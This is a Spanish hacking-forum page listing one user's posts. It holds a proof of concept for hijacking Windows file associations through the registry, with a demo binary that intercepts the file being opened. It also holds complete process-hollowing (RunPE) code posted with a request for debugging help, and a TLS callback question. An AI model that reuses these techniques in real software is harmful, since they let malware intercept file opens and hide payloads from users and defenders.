elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Como proteger una cartera - billetera de Bitcoin


  Mostrar Temas
Páginas: [1] 2
1  Seguridad Informática / Análisis y Diseño de Malware / [PoC] Infección de ficheros a través del registro de Windows en: 13 Febrero 2016, 20:19 pm
Intro

En esta entrada pretendo dejar una idea o una PoC de un posible método de infección en sistemas operativos Windows siendo las versiones afectadas desde XP a 10. El sistema se basa en interceptar el inicio de una aplicación ligada a tipo de fichero especifico en el sistema y lanzar nuestro binario como intermediario antes de la ejecución del mismo. No se necesita tener nuestro binario en memoria o ejecución previa, ni siquiera se necesitan métodos de infección de ficheros de usuario o del sistema para lograr esto, solo una llave en el registro de Windows que hará la función de Hook o Interceptora.

Principios de Funcionamiento

El método se basa en el uso de llaves del registro de Windows para establecer nuestro binario como objetivo principal en lugar de la aplicación destinada o ligada a un tipo de ficheros en el SO. Windows basa gran parte de su funcionamiento en un archivo denominado Registro de Windows. El registro de Windows es una base de datos jerárquica que almacena los ajustes de configuración y opciones en los sistemas operativos Microsoft Windows. Contiene la configuración de los componentes de bajo nivel del sistema operativo, así como de las aplicaciones que hay funcionando en la plataforma: hacen uso del registro el núcleo (kernel, en inglés), los controladores de dispositivos, los servicios, el SAM, la interfaz de usuario y las aplicaciones de terceros. El registro también proporciona un medio de acceso a los contadores para generar un perfil del rendimiento del sistema.

Claves y valores

El registro contiene dos elementos básicos: claves y valores.
Las claves del registro son similares a carpetas: además de los valores, cada clave puede contener subclaves, que a su vez pueden contener más subclaves, y así sucesivamente. Las claves están referenciadas con una sintaxis parecida a los nombres de las rutas de Windows, y usan barras diagonales inversas para indicar los distintos niveles jerárquicos. Cada subclave tiene obligatoriamente un nombre: una cadena que no puede contener barras diagonales inversas y en la que no se distingue entre mayúsculas y minúsculas.

HKEY_CLASSES_ROOT (HKCR)

HKEY_CLASSES_ROOT, abreviado como HKCR, contiene información sobre aplicaciones registradas, como asociaciones de archivos e Id. de clase de objetos OLE, ligándolos a las aplicaciones utilizadas para identificar estos elementos. En Windows 2000 y versiones superiores, HKCR es una compilación de HKCU\Software\Classes basada en el usuario y de HKLM\Software\Classes basada en el equipo. Si un valor dado existe en las dos subclaves anteriores, la contenida en HKCU\Software\Classes prevalece.

Explicación del PoC

Tomando como base lo anterior para nuestra prueba de concepto, se toma la premisa que en esa raíz tenemos un listado de tipos de ficheros en el sistema y las aplicaciones ligadas a los mismos. En las claves de dichos tipos de archivos existe una subclave llamada “shell” la cual a su vez contiene otras subclaves. Dicha clave “shell” puede controlar partes de la interfaz de usuario del “shell menú” en aplicaciones y a lo largo de todo el SO. Las subclaves dentro de la clave “shell” especifican entradas adicionales en el menú para la aplicación asociada, vamos como ejemplo las siguientes imágenes



Ejemplo de clave Shell para el tipo de ficheros “txt”


Como se observa estamos en la clave referente a los tipos de fichero “.txt” y vemos a su vez la clave “shell” y las subclaves que contiene “open”, “print”, “printto”. Como dijimos anteriormente estas entradas serán añadidas al menú de todos los ficheros “.txt” a lo largo de todo el sistema, veamos otra imagen



Entradas en el menú para tipos de ficheros “txt”


Añadiendo entradas personalizadas

Teniendo todo lo anterior en cuenta podríamos nosotros crear nuestras propias entradas en el Shell Menu de este tipo de ficheros, el procedimiento es sencillo, solo tendríamos que añadir algunos valores al registro de Windows. La estructura y tipos de claves seria la siguiente:

Clave Principal: Indica la entrada añadida
Subclave “command”: Contiene una cadena especificando el comando a ejecutar una vez se ha seleccionado dicha opción del menú.
Valor MUIVerb: Contiene el titulo de la entrada
Valor Position: Posición de la entrada en el menú, posibles valores (Top/Bottom/Default)

Existen otros tipos de valores que controlan otros aspectos de la entrada en el menú contextual del fichero, pero para nuestros propósitos con estos estamos bien, veamos unas imágenes.



Nueva entrada “myentry” añadida al menu contextual de los ficheros “txt”



Entrada añadida “MiEntrada”


Vemos que la entrada se ha añadido correctamente, ha tomado el titulo que le dimos y si le damos clic se ejecutara el comando o aplicación que especificamos en la clave “command/default”. Hasta aquí todo estaría bien y no hay problemas de ningún tipo, el problema surge cuando usamos un valor diferente en el valor “Position”.

Explicación del “bug”

Modificando este valor y estableciendo el nuevo como “Top”, causaría un efecto no deseado para el tipo de ficheros donde radica dicha entrada. Si nos fijamos en la imagen anterior podemos ver que la primera opción del menú es la que está en negritas “Abrir” y es dicha opción la que se ejecutara por defecto al hacer doble clic en el tipo de fichero, en este caso invoca la clave “open” que se encarga a su vez de lanzar la aplicación asociada. Cuando ponemos nuestra entrada como “Position:Top”, veamos lo que sucede



Entrada agregada “MiEntrada” como opción por defecto


Como vemos en la imagen, dicha entrada se ha colocado como opción por defecto, por lo que si al hacer doble clic al fichero, nuestra entrada será invocada en vez de la opción “Abrir”. En este punto no se si es algún tipo de “bug”, problema de diseño del SO, o lo que sea por parte de Microsoft, el tema es que este tipo de comportamientos no creo que deberían ser posibles.

Aprovechando las fallas

Aprovechando lo que anterior he expuesto podemos entonces proceder a crear un binario especial que será ejecutado como opción predeterminada al intentar ejecutar un tipo de fichero especifico, seguiremos tomando como ejemplo los ficheros “txt” y veamos ahora una entrada camuflada al usuario y un ejecutable de prueba que será usado.

Entrada de Registro
Código:
[HKEY_CLASSES_ROOT\txtfile\shell\myentry]
“MUIVerb”=”Open”
“Position”=”Top”
[HKEY_CLASSES_ROOT\txtfile\shell\myentry\command]
@=”C:\\open.exe \”%1\””

He usado como target del comando un ejecutable creado en VC++ con propósitos solamente demostrativos, el código del mismo es bien sencillo y es el siguiente:

Codigo fuente binario

Código
  1. #include <wtypes.h>
  2. #include <winuser.h>
  3. #include <shellapi.h>
  4.  
  5. int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE prevInstance, LPSTR lpCmdLine, int nShowCmd)
  6. {
  7.    LPWSTR *szArgList;
  8.    int argCount;
  9.  
  10.    szArgList = CommandLineToArgvW(GetCommandLine(), &argCount);
  11.    if (szArgList == NULL)
  12.    {
  13.       MessageBox(NULL, L"Unable to parse command line", L"Error", MB_OK);
  14.       return 10;
  15.    }
  16.  
  17.    /*Start on index 1 coz index 0 contains my own exe path*/
  18.    for (int i = 1; i < argCount; i++)
  19.    {
  20.       MessageBox(NULL, szArgList[i], L"Execution Intercepted!", MB_OK);
  21.       ShellExecute(NULL, L"open", szArgList[i], NULL, NULL, SW_SHOWNORMAL);
  22.    }
  23.  
  24.    LocalFree(szArgList);
  25.    return 0;
  26. }
  27.  

A modo groso de explicación, el binario toma lo que se le pasa por parámetro, que en nuestro caso es el fichero que se está intentando ejecutar, lanza un mensaje de intercepción de la ejecución (en cualquier otro caso pudiera existir cualquier tipo de payload o acción maliciosa o de infección), para finalmente lanzar la aplicación predeterminada y abrir el fichero y el usuario no note nada extraño.
Al tener lo anteriormente intentamos ejecutar el fichero txt y obtenemos lo siguiente.


Mensaje de intercepcion de la ejecución del fichero

Al aceptar el mensaje veremos cómo se ejecuta el notepad con el contenido del fichero que abrimos.

Palabras finales

Esto ha sido todo por esta prueba de concepto, como dije anteriormente, veo muy mal que cosas como estas se puedan hacer en el sistema, a lo mínimo, todo esto debería estar controlado, pero bueno, sabemos que no hay nada perfecto en este mundo, y quizás esto ni llegue a ser una falla, aunque si puede ser usado y aprovechado por mucho malware allá afuera. Sin más que añadir, nos vemos en otra, quizás….quien sabe.

Descarga del PoC
[Poc]RegInfection.rar
password: 123456

PD: Dudas, comentarios, etc, responder al hilo
Entrada original: hxxps://reversec0de.wordpress.com/2015/12/31/poc-infeccion-de-ficheros-a-traves-del-registro-de-windows/
2  Programación / Programación C/C++ / [App] EMLExtractor v0.1 en: 1 Octubre 2012, 16:21 pm
Un saludos amigos del foro
Bueno, pues hace unas semanas estaba revisando el foro y viendo este mensaje http://foro.elhacker.net/scripting/batch_extraer_adjunto_de_eml-t367772.0.html me dio la idea de hacerlo en C++, meterle una interfaz y...bueno hacer una pequeña aplicacion para este fin. Luego de unos dias salio esta pequeña aplicacion  ;D


Que es EMLExtractor?
Es una aplicacion para encontrar todo tipo de ficheros adjuntos en archivos .eml. Puedes buscar tanto ficheros adjuntos como ficheros incrustados dentro del archivo de correo, dando la posibilidad de extraerlos a donde se desee.

Caracteristicas:
v0.1 Initial Release
-Funciona!
-Soporta la extraccion de cualquier tipo de archivos (*.txt, *.html, *.jpg, *.gif, *.zip, *.rar, etc)
-Compatible con ficheros .eml de varios gestores de correo

Bugs, ideas, etc
Para cualquiera de estas cosas puedes dejar un mensaje aqui mismo o contactarme por e-mail

LINK DESCARGA (Source Incluido): http://www.mediafire.com/file/dr997c59pitamwb/EMLExtractor_v0.1.rar

Saludos y ya saben  ;)
3  Programación / Programación General / FireExt Editor v0.1b by Thunder en: 2 Enero 2012, 18:03 pm
Un saludo a todos.
Aqui les dejo una pequeña aplicacion que he hecho y como creo que le puede ser util a alguien mas (como lo ha sido para mi), pues la comparto con todos. La aplicacion se llama "FireExt Editor" y esta es la primera version en fase beta.


Caracteristicas:
v0.1b Initial Release
* Edita caracteristicas del plugin:
    -Nombre del plugin
    -Nombre del creador
    -Descripcion del plugin
    -Versiones del Firefox compatibles

1- Que es FireExt Editor?
R- FireExt Editor es un editor de extensiones del popular navegador web Mozilla Firefox

2- Que puedo hacer con FireExt Editor?

R- FireExt Editor es una utilidad bien sencilla, con ella podemos modificar cierta informacion de nuestras extensiones de Firefox, por ejemplo, podemos editar el nombre del plugin, el nombre del creador, la descripcion del plugin, asi como las versiones del Firefox compatibles.

La idea para la cual fue creada la aplicacion es la de poder hacer compatibles nuestros antiguos add-ons con la version del Firefox que deseemos. FireExt Editor nos da las versiones dentro de las cuales el plugin es originalmente compatible e instalable, si intentamos instalarlo en un navegador fuera de estas versiones no nos dejara, pero aqui viene lo bueno. La mayoria de las veces (salvo algunas excepciones) nuestros plugins son completamente funcionales en versiones del navegador fuera del rango para el que fueron diseñados, por lo que podremos usar nuestro plugin que originalmente fue creado para las versiones de la 1.0 a 3.* del mozilla en nuestro Firefox 7, 8, 9, etc, todo lo que tenemos que hacer es modificar este rango de compatibilidad y listo, tendremos nuestro plugin funcionando una vez mas en nuestra version del navegador.

ADVERTENCIA:
1- La actual version de esta herramienta esta en fase beta, por lo que no se garantiza un funcionamiento 100% bug's free, asi que si no quieres arriegarte, crea una copia de seguridad de la extension antes de usar FireExt Editor en ella.
2- Como explique arriba, hay algunas extensiones (excepciones) que, a pesar modificarlas con FireExt Editor y de poder instalarlas en el navegador, no son funcionales 100% o no son funcionales en lo absoluto. Esto no es un error de la herramienta, sino que se debe a problemas de incompatibilidad con respecto a la programacion interna del plugin con nuestro navegador, en estos casos FireExt Editor no nos ayuda.
3- Algunos plugins no son soportados todavia por FireExt Editor

Descarga: FireExt Editor v0.1b

Bueno, espero que les sea de utilidad y que les agrade, cualquier bug, sugerencia, comentario....ya saben
Saludos
4  Programación / Ingeniería Inversa / ODBGPluginConv v0.1b by Thunder en: 18 Septiembre 2011, 18:58 pm
Hola amigos
Pues esta es una pequeña aplicacion que comence hace unos meses y la tuve que dejar por falta de tiempo, justo hace un par de dias saque unas horas libres y la termine. No es nada del otro mundo, es solo una utilidad para convertir nuestros plugins de OllyDbg para poder usarlos en cualquier version modificada del mismo. Aqui tienen un snapshot


Caracteristicas:
v0.1b Initial Release
  • Conversion de plugin automatica
  • Versiones soportadas: OllyDbg, Defixed, SND, RAMODBG, diablo2oo2, Shadow, ICE, CiM.
  • Conversion de plugin avanzada.
  • Permite cambiar imports y exports names manualmente
  • Editor hexa integrado

Link de descarga: ODBGPluginConv0.1b.rar

Bueno, espero que les sea de utilidad y que les agrade, cualquier bug, sugerencia, comentario....ya saben ;)
Saludos
5  Programación / Programación C/C++ / ERROR - Process Hollowing en: 11 Agosto 2011, 01:35 am
Hola gente
Veran, he estado practicando un poco con el formato PE, la cuestion es que he querido usar un codigo para dichos fines pero no logro que me funcione.
El codigo que estoy estudiando es uno usado para correr un ejecutable en el contexto de otro, lo que comunmente la mayoria conoce como RunPE  :P , el codigo compila sin problemas, el problema se da a la hora de resumir el hilo para continuar la ejecucion, por lo que sospecho que hay algun fallo cuando el exe2 se copia en la memoria del exe1, pero no se a ciencia cierta cual podria ser el fallo, pues cuando intento ejecutar, por ej, el bloc de notas en la calculadora lo hace sin problemas, el fallo lo da cuando intento con otra app. El codigo es el siguiente:

Código
  1. typedef DWORD (__stdcall *pNtUnmapViewOfSection)(HANDLE ProcessHandle, PVOID BaseAddress);
  2. void RunPE(LPSTR, LPSTR);
  3.  
  4. typedef struct {
  5.   PIMAGE_DOS_HEADER dos_header;
  6.   PIMAGE_NT_HEADERS nt_headers;
  7.   PIMAGE_SECTION_HEADER section_header;
  8.   LPBYTE file_data;
  9. } NEW_PROCESS_INFO, *PNEW_PROCESS_INFO;
  10.  
  11. void get_replacement_info(const char* full_file_path, PNEW_PROCESS_INFO new_process_info)
  12. {
  13.   DWORD bytes_read;
  14.  
  15.   HANDLE hFile = CreateFileA(full_file_path,
  16.                              GENERIC_READ,
  17.                              FILE_SHARE_READ,
  18.                              NULL,
  19.                              OPEN_EXISTING,
  20.                              FILE_ATTRIBUTE_NORMAL,
  21.                              NULL);
  22.   //Note: High DWORD ignored, dangerous with >4GB files :-P
  23.   DWORD file_size = GetFileSize(hFile, NULL);
  24.  
  25.   new_process_info->file_data = (LPBYTE)malloc(file_size * sizeof(LPBYTE));
  26.   ReadFile(hFile, new_process_info->file_data, file_size, &bytes_read, 0);
  27.  
  28.   assert(bytes_read == file_size);
  29.   new_process_info->dos_header = (PIMAGE_DOS_HEADER)(&new_process_info->file_data[0]);
  30.   new_process_info->nt_headers = (PIMAGE_NT_HEADERS)(&new_process_info->file_data[new_process_info->dos_header->e_lfanew]);
  31. }
  32.  
  33. void RunPE(LPSTR file, LPSTR host)
  34. {
  35.   NEW_PROCESS_INFO new_process_info;
  36.   PROCESS_INFORMATION process_info;
  37.   STARTUPINFOA startup_info;
  38.  
  39.   RtlZeroMemory(&startup_info, sizeof(STARTUPINFOA));
  40.   pNtUnmapViewOfSection NtUnmapViewOfSection = NULL;
  41.  
  42.   CreateProcessA(NULL,
  43.                  host,
  44.                  NULL,
  45.                  NULL,
  46.                  FALSE,
  47.                  CREATE_SUSPENDED,
  48.                  NULL,
  49.                  NULL,
  50.                  &startup_info,
  51.                  &process_info);
  52.  
  53.   get_replacement_info(file, &new_process_info);
  54.   NtUnmapViewOfSection = (pNtUnmapViewOfSection)(GetProcAddress(GetModuleHandleA("ntdll.dll"),
  55.                                                                                  "NtUnmapViewOfSection"));
  56.   //Remove target memory code
  57.   NtUnmapViewOfSection(process_info.hProcess, (PVOID)new_process_info.nt_headers->OptionalHeader.ImageBase);
  58.   //Allocate memory in target process starting at replacements image base
  59.   VirtualAllocEx(process_info.hProcess,
  60.                  (PVOID)new_process_info.nt_headers->OptionalHeader.ImageBase,
  61.                  new_process_info.nt_headers->OptionalHeader.SizeOfImage,
  62.                  MEM_COMMIT | MEM_RESERVE,
  63.                  PAGE_EXECUTE_READWRITE);
  64.  
  65.   //Copy in PE header of replacement process
  66.   WriteProcessMemory(process_info.hProcess,
  67.                      (PVOID)new_process_info.nt_headers->OptionalHeader.ImageBase,
  68.                      &new_process_info.file_data[0],
  69.                      new_process_info.nt_headers->OptionalHeader.SizeOfHeaders,
  70.                      NULL);
  71.  
  72.   //Write in all sections of the replacement process
  73.   for(int i = 0; i < new_process_info.nt_headers->FileHeader.NumberOfSections; i++)
  74.   {
  75.      //Get offset of section
  76.      int section_offset = new_process_info.dos_header->e_lfanew +
  77.                           sizeof(IMAGE_NT_HEADERS) +
  78.                           (sizeof(IMAGE_SECTION_HEADER) * i);
  79.      new_process_info.section_header = (PIMAGE_SECTION_HEADER)(&new_process_info.file_data[section_offset]);
  80.  
  81.      //Write in section
  82.      WriteProcessMemory(process_info.hProcess,
  83.                         (LPVOID)(new_process_info.nt_headers->OptionalHeader.ImageBase +
  84.                         new_process_info.section_header->VirtualAddress),
  85.                         &new_process_info.file_data[new_process_info.section_header->PointerToRawData],
  86.                         new_process_info.section_header->SizeOfRawData,
  87.                         NULL);
  88.   }
  89.  
  90.   //Get CONTEXT of main thread of suspended process, fix up EAX to point to new entry point
  91.   LPCONTEXT thread_context = (LPCONTEXT)LocalAlloc(LPTR, sizeof(CONTEXT));
  92.   thread_context->ContextFlags = CONTEXT_FULL;
  93.   GetThreadContext(process_info.hThread, thread_context);
  94.   thread_context->Eax = new_process_info.nt_headers->OptionalHeader.ImageBase +
  95.                         new_process_info.nt_headers->OptionalHeader.AddressOfEntryPoint;
  96.   SetThreadContext(process_info.hThread, thread_context);
  97.  
  98.   //Resume the main thread, now holding the replacement processes code
  99.   ResumeThread(process_info.hThread);
  100.   free(new_process_info.file_data);
  101.   LocalFree(thread_context);
  102. }

Si alguien me pudiera dar una manito aqui se lo agradeceria. Por cierto, estoy usando el BC++
Saludos
6  Programación / Programación C/C++ / TLS Callback en: 9 Mayo 2011, 22:18 pm
Hola amigos del foro.
He estado intentando implementar en C++ una TLS Callback. La cuestion es que no logro dar con mi objetivo. He estado buscando en la red algo de info y este es el codigo que encontre y que estoy usando:

Código
  1. #include <windows.h>
  2. char mensaje[] = "Hola desde la TLS Callback";
  3.  
  4. void __stdcall tls_callback(void * /*instance*/,
  5.                        DWORD reason,
  6.                        void * /*reserved*/)
  7. {
  8.  if ( reason == DLL_PROCESS_ATTACH )
  9.  {
  10.    MessageBox(NULL, "Proceso Adherido", "TLS Callback", MB_OK);
  11.    OutputDebugStringA(mensaje);
  12.  }
  13. }
  14.  
  15. DWORD _tls_index = 0;
  16. PIMAGE_TLS_CALLBACK callback = tls_callback;
  17. extern "C" IMAGE_TLS_DIRECTORY _tls_used = {0, 0, (DWORD)&_tls_index, (DWORD) &callback, 0, 0};
  18.  
  19. int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)
  20. {
  21.    MessageBox(NULL,"Este es el WinMain!","Hola!",MB_OK);
  22.    return 0;
  23. }

El codigo compila sin problemas, pero al revisar el ejecutable creado, el mismo no contiene ninguna TLS Callback, por lo que no funciona. En la web donde encontre el codigo (no recuerdo bien donde) dicen que ese codigo les funcionaba, pero a mi no :( y no tengo idea de lo que pueda estar mal.
Si alguien sabe que puede estar mal o que falta, o de que otra forma se pudiera implementar una TLS Callback, le agradeceria algunos tips ;) Por cierto, estoy usando el BCBuilder6.
Saludos
7  Programación / Programación C/C++ / Ejecutar un archivo externo y esperar a que termine para eliminarlo en: 4 Marzo 2011, 16:31 pm
Un saludo a todos los amigos del foro y ti que lees este post.
Vamos a ver, tengo esta aplicacion cuyo objetivo es el de ejecutar un archivo externo (.txt, .pdf, etc) con ShellExecute, ahora, lo que quiero es que, una vez ejecutado y cerrado dicho archivo, se borre del HD sin mas. Lo que quiero es algo asi como un fichero temporal, suponiendo que sea un txt, pues que una vez mi aplicacion lo abra con el bloc de notas y luego el usuario lo cierre, que este se elimine. La cuestion esta en que, como muchos pensaran, podria programar un DeleteFile justo antes de salir de mi aplicacion y listo, pero lo que quiero hacer es lo siguiente:

Variante#1
========

1- Ejecuto mi aplicacion
2- Mi aplicacion ejecuta el archivo (txt, pdf, doc, etc)
3- Mi aplicacion se cierra
4- Se continua abriendo el archivo con su programa predeterminado
5- Se termina de trabajar con el archivo abierto y se cierra
6- El archivo se elimina automaticamente

Ahora, otra variante que pudiera hacer seria moviendo el punto 3:

Variante#2
========

1- Ejecuto mi aplicacion
2- Mi aplicacion ejecuta el archivo (txt, pdf, doc, etc)
3- Se continua abriendo el archivo con su programa predeterminado
4- Se termina de trabajar con el archivo abierto y se cierra
5- Mi aplicacion sabe que se cerro el archivo y lo elimina
6- Mi aplicacion se cierra

Ahora, la cosa se complica al no ser un .exe el que se ejecuta, sino cualquier tipo de archivo que depende de una segunda aplicacion para abrirse, por lo que no puedo hacer nada con WaitForSingleObject o cualquier API para el trabajo con procesos y su monitoreo (corriganme si estoy equivocado).

Variante#1
========

Para esto que quiero he estado investigando un poco las API's CreateFile y ShellExecuteEx. En cuanto a la primera, he visto un parametro muy interesante, me refiero a:

Código
  1. DWORD dwFlagsAndAttributes

especificamente en la bandera:

FILE_FLAG_DELETE_ON_CLOSE: The system deletes a file immediately after all of its handles are closed, which includes the specified handle and any other open or duplicated handles. If there are existing open handles to a file, the call fails unless they were all opened with the FILE_SHARE_DELETE share mode. Subsequent open requests for the file fail, unless the FILE_SHARE_DELETE share mode is specified.

Y yo tengo esto:

Código
  1. SECURITY_ATTRIBUTES secAttr;
  2. ZeroMemory(&secAttr, sizeof(SECURITY_ATTRIBUTES));
  3. secAttr.nLength = sizeof(SECURITY_ATTRIBUTES);
  4. secAttr.bInheritHandle = true; // Para que sea el mismo handle para todos los procesos
  5.  
  6. HANDLE hFile = CreateFile(filename,
  7.                          GENERIC_ALL, // GENERIC_READ
  8.                          FILE_SHARE_DELETE + FILE_SHARE_READ,
  9.                          &secAttr, // 0
  10.                          OPEN_EXISTING,
  11.                          FILE_FLAG_DELETE_ON_CLOSE, // FILE_ATTRIBUTE_NORMAL
  12.                          NULL);

Como ven eso es justo lo que necesito, pero aqui viene el otro problema, y es que una vez tomado el handle del archivo con estos valores, no tengo acceso permitido a el por una segunda aplicacion al no ser para eliminarlo, por lo que las llamadas con ShellExecute sobre el mismo daran error de acceso al intentar abrirlo.

Variante#2
========

Para la segunda variante, he investigado sobre la API ShellExecuteEx, exactamente hay un valor interesante en la estructura de parametro SHELLEXECUTEINFO, me refiero al valor:

Código
  1. HANDLE hProcess;

Handle to the newly started application. This member is set on return and is always NULL unless fMask is set to SEE_MASK_NOCLOSEPROCESS. Even if fMask is set to SEE_MASK_NOCLOSEPROCESS, hProcess will be NULL if no process was launched. For example, if a document to be launched is a URL and an instance of Microsoft Internet Explorer is already running, it will display the document. No new process is launched, and hProcess will be NULL.
Note ShellExecuteEx does not always return an hProcess, even if a process is launched as the result of the call. For example, an hProcess does not return when you use SEE_MASK_INVOKEIDLIST to invoke IContextMenu.


Y yo tengo esto:

Código
  1. SHELLEXECUTEINFO execInfo;
  2.  
  3. ZeroMemory(&execInfo, sizeof(SHELLEXECUTEINFO));
  4. execInfo.cbSize = sizeof(SHELLEXECUTEINFO);
  5. execInfo.fMask = SEE_MASK_FLAG_DDEWAIT + SEE_MASK_FLAG_NO_UI + SEE_MASK_NOCLOSEPROCESS;
  6. execInfo.lpVerb = "open";
  7. execInfo.lpFile = filename;
  8. execInfo.nShow = SW_SHOWNORMAL;
  9.  
  10. ShellExecuteEx(&execInfo);

Pero por lo que dicen de el, vemos que no seria confiable para esto, ademas que lo he intentado con el si exito alguno.

Perdon por este post tan largo, y gracias por el simple hecho de haber llegado hasta aqui (si es que llegaste...jeje), pero aqui es donde estoy detenido, y es que no se de que forma lograr lo que quiero,...si es con alguna combinacion exacta de valores en los parametros de CreateFile o en ShellExecuteEx que me permitan alguna de las dos variantes que expuse al principio.
Bueno, no doy mas lata...ya esta...alguien tiene alguna idea o me puede guiar a lo que quiero???
Saludos y gracias de antemano
8  Programación / Programación C/C++ / [ C++ ] Ayuda con esta clase!!! en: 20 Noviembre 2010, 14:58 pm
Un saludos amigos, a ver si me pueden sacar de esta. Trasteando con clases y otras cosas me han surgido algunos problemas con una clase y su implementacion. El codigo es el siguiente:

Código
  1. //---------------------------------------------------------------------------
  2. class a
  3. {
  4.  private:
  5.    WNDPROC lpPrevProc;
  6.    LRESULT CALLBACK NewProc(HWND, UINT, WPARAM, LPARAM);
  7.  
  8.  public:
  9.    void Hookea (HANDLE);
  10.    ...
  11. };
  12.  
  13. //---------------------------------------------------------------------------
  14. void a::Hookea (HANDLE hWnd)
  15. {
  16.  lpPrevProc = (WNDPROC)GetWindowLong((HWND__*)hWnd, GWL_WNDPROC);
  17.  
  18.  SetWindowLongA((HWND__*)hWnd, GWL_WNDPROC, (DWORD)NewProc);
  19.  // E2235 Member function must be called or its address taken Compiler error
  20.  // Probe con "(DWORD)&a::RealWinWndProc" pero me dice
  21.  // E2031 Cannot cast from 'type1' to 'type2' Compiler error
  22. }
  23.  
  24. //---------------------------------------------------------------------------
  25. LRESULT CALLBACK a::NewProc(HWND hwnd, UINT uMsg, WPARAM wParam, LPARAM lParam)
  26. {
  27.  switch(uMsg)
  28.  {
  29.    case WM_DESTROY:
  30.      MessageBox(hwnd, "Adios Mundo", "Bye!!!", MB_ICONINFORMATION);
  31.    break;
  32.  }
  33.  
  34.  return CallWindowProc(lpPrevProc, hwnd, uMsg, wParam, lParam);
  35. }
  36. //---------------------------------------------------------------------------

Alli estan los errores comentados que me tira el compilador, pero no entiendo el por que, pues he visto algun ejemplo en VC++ y justamente se hace esto:
Código
  1. SetWindowLongA(hWnd, GWL_WNDPROC, (DWORD)(&a::NewProc));

Pero cuando lo paso al CBuilder e intento compilar me sale con que:
E2031 Cannot cast from 'long (__stdcall a::*)(HWND__ *,unsigned int,unsigned int,long)' to 'unsigned long'

Ahora, si hago lo mismo, pero programando estructuradamente, o sea, sin clases, no hay problemas y me coge la linea de la siguiente forma sin quejarse:
Código
  1. SetWindowLongA((HWND__*)hWnd, GWL_WNDPROC, (DWORD)NewProc);

Mi pregunta, como puedo obtener el puntero al metodo a::NewProc para poder pasarlo como parametro en SetWindowLong como DWORD???, que estoy haciendo mal o que me falta por hacer???
Agradeceria cualquier ayuda al respecto, de verdad que esto ya me esta dando dolores de cabeza.  >:(
Gracias por leer
Saludos
9  Programación / Programación C/C++ / Problema con controles y UpdateLayeredWindow en: 16 Agosto 2010, 21:35 pm
Un saludo a todos los del foro.
Bueno, aqui traigo una duda que me ha surgido usando la API UpdateLayeredWindow en un pequeño estudio de transparencias. Veran, estoy usando ULW para cargar una imagen png con alpha blending effects y crear una splash screen con ella, ahora, realmente se ve genial gracias a las cualidades del formato PNG, muy linda, todo bien, pero la cosa se complica de la siguiente forma: Todos los demas controles estandares(Botones, Edits, etc) en el formulario se hacen invisibles una vez corro la aplicacion, por lo que no consigo interactuar con ninguno de ellos ni aun mostrarlos encima de la imagen.
He buscado algo en la web y he visto muchas respuestas diciendo que algo como eso no se puede, que una vez que se utiliza esa API en una ventana, los CHILDS controls no se veran al no ser por otros metodos poco convencionales como crear una "fake" window "encima" de la original y asignarle algunas propiedades con SetLayeredWindowAttributes para de esta forma dar una perspectiva de como si tuvieramos los controles justo encima de nuestra splash. Bueno, eso fue lo que entendi de todo lo que encontre en la web, pero en realidad no capto muy bien todo esto.

Mi pregunta es la siguiente:
Alguien sabe como lograr esto de lo que he estado hablando???...alguien sabe como lograr hacer visibles los controles en una layered window con ULW, o por lo menos sabe de algun otro metodo que pueda servir para esto???

Saludos y gracias x su tiempo en leer este post
10  Programación / Ingeniería Inversa / [RETO] Sticky Crackme v1.0 by Thunder en: 12 Abril 2010, 18:38 pm
Un saludos tengan todos los amigos del foro  ;)
Bueno, pues aqui les traigo un crackme que recien termine ayer, es mi segundo crackme. El crackme esta pensado para newbies algo avanzados, no mucho, pero si se deberan tener algunos conocimientos medios en la ingenieria inversa para afrontarlo de una mejor forma, aun asi no deberia de ser muy dificil....es mas, yo diria que hasta es medio facilón... ::)...jeje.


Difficulty..: 2-3/10
Compiler..: BC++ 6.0


En el rar se encuentra el crackme y las especificaciones del mismo. Las soluciones no deberan ser posteadas en el foro, el que lo solucione me envia un privado y lo añado al post y luego de tres semanas de la primera solucion pues se postearan los tutoriales o soluciones realizados. Todo con el fin de no revelar la solucion del crackme antes de tiempo.

Los primeros tres lugares tendran el codigo fuente de la aplicacion completamente comentado y funcional, aun asi, si no estas dentro de los tres primeros, pero lograste un "ORO" con tu tutorial o keygen, pues tambien te lo ganas  ;D
Vamos a que esperas!!!...a crackear se ha dicho...jeje. Aqui les dejo el link de descarga...
Suerte  ;)


http://sites.google.com/site/thundercrackslatinos/Home/crackmes-1/StickyCrackme_by_Thunder.zip?attredirects=0&d=1

===============
---- Solucionado por: ----
===============

1- PeterPunk77 (ORO)
2- frankener1986 (PLATA)
Páginas: [1] 2
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines